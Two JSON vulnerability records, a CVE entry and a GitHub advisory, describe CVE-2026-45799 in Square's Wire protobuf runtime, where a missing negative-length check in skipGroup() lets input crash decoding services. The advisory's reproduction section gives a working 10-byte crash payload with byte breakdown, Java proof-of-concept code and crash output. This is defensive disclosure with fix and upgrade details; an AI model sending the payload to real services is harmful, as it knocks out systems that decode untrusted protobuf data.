{
  "affected": [
    {
      "affectedData": [
        {
          "product": "wire",
          "vendor": "square",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 6.3.0"
            },
            {
              "status": "affected",
              "version": "\u003e= 7.0.0-alpha01, \u003c 7.0.0-alpha03"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.3.0 and 7.0.0-alpha03, ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup() in wire-runtime do not validate that a LENGTH_DELIMITED field length is non-negative before skip(), allowing a crafted protobuf varint encoding -128 as a signed Int to make skip(-128) move the internal position negative and make the next readByte() throw ArrayIndexOutOfBoundsException instead of the documented IOException or ProtocolException, which can crash services using ProtoAdapter.decode(byte[]) on untrusted payloads. This issue is fixed in versions 6.3.0 and 7.0.0-alpha03."
    }
  ],
  "id": "CVE-2026-45799",
  "lastModified": "2026-07-20T15:16:38.560",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45799",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-20T13:51:12.411548Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-17T20:17:18.393",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/square/wire/commit/47d5b0dba53935d5332cd41a80a353b3fc90e7b0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/square/wire/commit/e4e56fab38a547d9625f05c97f1d8f0bcc3a5773"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/square/wire/pull/3595"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/square/wire/pull/3597"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/square/wire/releases/tag/6.3.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/square/wire/releases/tag/7.0.0-alpha03"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/square/wire/security/advisories/GHSA-7xpr-hc2w-34m9"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/square/wire/security/advisories/GHSA-7xpr-hc2w-34m9"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-129"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.squareup.wire:wire-runtime-jvm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.2.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.squareup.wire:wire-runtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.0-alpha02"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.squareup.wire:wire-runtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0-alpha01"
            },
            {
              "fixed": "7.0.0-alpha03"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45799"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T19:54:50Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# CVE-2026-45799\n\n## Maintainer summary\n\nWire\u0027s protobuf group-skipping logic did not reject negative lengths before skipping a\nlength-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an\nunchecked runtime exception during decoding instead of the documented `IOException` /\n`ProtocolException` failure path.\n\nThis can crash services that decode untrusted protobuf payloads and only handle Wire\u0027s documented\nchecked decoding failures.\n\n## Affected artifacts\n\n### `com.squareup.wire:wire-runtime`\n\nAffected versions: vulnerable releases before `6.3.0`.\n\nPatched versions: `6.3.0` and later.\n\nUsers should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later.\n\n### `com.squareup.wire:wire-runtime-jvm`\n\nAffected versions: vulnerable legacy releases, including `5.3.1` and `5.3.3`.\n\nPatched versions: none.\n\n`com.squareup.wire:wire-runtime-jvm` is a discontinued legacy artifact and will not receive a\npatched release. Users should migrate to `com.squareup.wire:wire-runtime:6.3.0` or later.\n\n### Wire 7 alpha releases\n\nThe fix has been merged to `master` and will be included in the next Wire 7 alpha release. Until\nthat release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with\naffected alpha versions or build from a commit containing the fix.\n\n## Fix\n\nThe issue is fixed in Wire `6.3.0`.\n\nThe fix rejects negative lengths while skipping groups and throws `ProtocolException` instead of\nallowing the reader to move to an invalid position and later throw an unchecked runtime exception.\n\n## Credit\n\nReported by @TrekLaps.\n\n## Technical details\n\nThe following technical details are based on the original report, updated by the maintainers to\nreflect the assigned CVE, the supported fixed artifact, and the discontinued status of\n`com.squareup.wire:wire-runtime-jvm`.\n\n`ByteArrayProtoReader32.skipGroup()` in `wire-runtime` did not validate that a\n`LENGTH_DELIMITED` field\u0027s length is non-negative before calling `skip()`. A crafted protobuf\nvarint encodes `-128` as a signed `Int`. When `skip(-128)` runs, the internal position counter\nunderflows to an invalid negative position. The next `readByte()` accesses the source with that\nnegative position, throwing `ArrayIndexOutOfBoundsException`, a `RuntimeException` that escapes\nWire\u0027s documented `IOException` boundary and can crash the request handler.\n\n`ProtoAdapter.decode(byte[])` is declared to throw `IOException`. Callers following the documented\nAPI may catch only `IOException`, so unchecked runtime exceptions from malformed input can escape\nthe expected error boundary.\n\nThe originally confirmed vulnerable legacy versions include `5.3.1` and `5.3.3` for the\ndiscontinued `com.squareup.wire:wire-runtime-jvm` coordinate. The supported replacement coordinate\nis `com.squareup.wire:wire-runtime`, fixed in version `6.3.0`.\n\n## Root cause\n\nIn the originally reported vulnerable code path, `ByteArrayProtoReader32.skipGroup()` read the\nlength as a signed `Int` and used it without validating that it was non-negative:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -\u003e {\n  val length = internalReadVarint32() // returns signed Int and can be negative\n  skip(length)                        // no negative check\n}\n```\n\nThe internal `skip()` implementation then accepted the negative count because the computed\nposition was not greater than the limit:\n\n```kotlin\nprivate fun skip(byteCount: Int) {\n  val newPos = pos + byteCount        // for example, 7 + (-128) = -121\n  if (newPos \u003e limit) throw EOFException()\n  pos = newPos                        // pos = -121\n}\n```\n\nThe next read could then index the source with the invalid negative position:\n\n```kotlin\nprivate fun readByte(): Byte {\n  if (pos == limit) throw EOFException()\n  return source[pos++]                // source[-121] throws ArrayIndexOutOfBoundsException\n}\n```\n\nWire already rejected negative lengths in normal length-delimited field decoding. The same\nvalidation was missing from group-skipping code.\n\nThe fix adds this validation when skipping groups:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -\u003e {\n  val length = internalReadVarint32()\n  if (length \u003c 0) throw ProtocolException(\"Negative length: $length...\")\n  skip(length)\n}\n```\n\nThe fix was applied to both `ByteArrayProtoReader32.skipGroup()` and `ProtoReader.skipGroup()`.\n\n## Reproduction\n\nThe following reproduction was provided for vulnerable legacy `wire-runtime-jvm` releases such as\n`5.3.1` and `5.3.3`:\n\n```bash\ncurl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar\ncurl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar\ncurl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar\n```\n\n```java\n// WirePoc.java\nimport com.squareup.wire.AnyMessage;\n\npublic class WirePoc {\n  public static void main(String[] args) throws Exception {\n    byte[] payload = new byte[] {\n      (byte) 0x9B, 0x06,                                          // field 99, START_GROUP\n      0x0A,                                                       // field 1, LENGTH_DELIMITED\n      (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F,   // varint = -128\n      (byte) 0x9C, 0x06                                           // field 99, END_GROUP\n    };\n\n    AnyMessage.ADAPTER.decode(payload);\n  }\n}\n```\n\n```bash\njavac -cp \"wire.jar:okio.jar:stdlib.jar\" WirePoc.java\njava -cp \".:wire.jar:okio.jar:stdlib.jar\" WirePoc\n```\n\nObserved output on vulnerable versions:\n\n```text\nException in thread \"main\" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10\n    at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)\n    at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)\n    at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)\n    at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)\n    at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)\n    at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)\n    at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)\n    at WirePoc.main(WirePoc.java:10)\n```\n\nWith the fix, the same payload is rejected with `ProtocolException`.\n\n## Why this can affect any Wire-decoding service\n\n`skipGroup()` is called for any unknown field with wire type 3. An attacker can send an unknown\nfield, such as field 99, with wire type `START_GROUP`. The decoder skips it via `skipGroup()`\nregardless of which message type the service uses, so no schema knowledge is required.\n\nPayload:\n\n```text\n9b060a80ffffff0f9c06\n```\n\nPayload breakdown:\n\n```text\n0x9B 0x06                 field 99, wire type 3 (START_GROUP)\n0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group\n0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int\n0x9C 0x06                 field 99, END_GROUP\n```",
  "id": "GHSA-7xpr-hc2w-34m9",
  "modified": "2026-05-19T19:54:50Z",
  "published": "2026-05-19T19:54:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/security/advisories/GHSA-7xpr-hc2w-34m9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/pull/3595"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/pull/3597"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/square/wire"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Wire: skipGroup() missing negative-length check allows 10-byte payload to crash any Wire-decoding service "
}